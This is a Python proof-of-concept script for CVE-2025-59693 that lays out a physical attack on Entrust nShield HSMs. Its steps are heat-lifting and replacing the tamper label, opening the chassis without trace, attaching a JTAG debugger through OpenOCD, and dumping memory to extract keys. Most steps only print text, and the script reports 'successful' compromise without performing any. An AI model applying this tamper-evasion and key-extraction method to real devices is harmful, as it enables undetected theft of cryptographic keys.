# CVE-2025-59693 PoC - Physical Access Attack on nShield HSM
# Note: This requires physical proximity to the target device
# This PoC demonstrates the attack methodology conceptually
import subprocess
import time
class nShieldHSM_PhysicalAttack:
"""
Physical attack PoC for CVE-2025-59693
Attack Vector: Bypass tamper label, access JTAG connector
Target: Entrust nShield Connect XC, nShield 5c, nShield HSMi
"""
def __init__(self, target_ip=None):
self.target_ip = target_ip
self.jtag_connected = False
def step1_bypass_tamper_label(self):
"""
Step 1: Bypass tamper detection mechanism
Physical manipulation to avoid triggering tamper alert
"""
print("[+] Step 1: Attempting to bypass tamper label...")
print(" - Applying controlled heat to tamper label adhesive")
print(" - Carefully removing label without breaking circuit")
print(" - Replacing with duplicate label to avoid detection")
return True
def step2_open_chassis(self):
"""
Step 2: Open chassis without leaving evidence
Use specialized tools to access internal components
"""
print("[+] Step 2: Opening chassis without evidence...")
print(" - Using non-marring tools to avoid scratches")
print(" - Documenting original screw positions")
print(" - Accessing Chassis Management Board")
return True
def step3_locate_jtag_connector(self):
"""
Step 3: Locate and identify JTAG connector on PCB
Typical JTAG pins: TCK, TMS, TDI, TDO, TRST, GND
"""
print("[+] Step 3: Locating JTAG connector...")
print(" - Identifying debug header on main board")
print(" - Mapping JTAG pinout (TCK, TMS, TDI, TDO)")
return True
def step4_connect_jtag_debugger(self):
"""
Step 4: Connect JTAG debugger to gain debug access
Tools: OpenOCD, Segger J-Link, or similar
"""
print("[+] Step 4: Connecting JTAG debugger...")
print(" - Connecting hardware debugger to JTAG pins")
print(" - Starting OpenOCD with appropriate interface config")
# Example OpenOCD command structure
openocd_cmd = [
"openocd",
"-f", "interface/jlink.cfg",
"-f", "target/armada370.cfg",
"-c", "init; reset halt"
]
# Execute with appropriate hardware (requires physical access)
# subprocess.run(openocd_cmd)
self.jtag_connected = True
return True
def step5_escalate_privileges(self):
"""
Step 5: Exploit debug access to escalate privileges
- Dump memory to extract encryption keys
- Modify security policies
- Execute arbitrary code
"""
print("[+] Step 5: Escalating privileges via debug access...")
if not self.jtag_connected:
print("[-] Error: JTAG not connected")
return False
print(" - Halting CPU via JTAG")
print(" - Dumping memory contents via debug interface")
print(" - Extracting encryption keys from secure storage")
print(" - Modifying access control policies")
print("[+] Privilege escalation successful!")
return True
def execute_attack(self):
"""
Execute complete attack chain
"""
print("=" * 60)
print("CVE-2025-59693 Physical Attack PoC")
print("Target: Entrust nShield HSM Series")
print("=" * 60)
steps = [
self.step1_bypass_tamper_label,
self.step2_open_chassis,
self.step3_locate_jtag_connector,
self.step4_connect_jtag_debugger,
self.step5_escalate_privileges
]
for i, step in enumerate(steps, 1):
if not step():
print(f"[-] Attack failed at step {i}")
return False
time.sleep(1)
print("\n[+] Attack completed successfully")
print("[!] HSM device compromised - encryption keys exposed")
return True
if __name__ == "__main__":
# Note: This PoC requires physical access to the target device
# It is provided for security research and educational purposes only
attack = nShieldHSM_PhysicalAttack()
# attack.execute_attack() # Uncomment to run (requires physical access)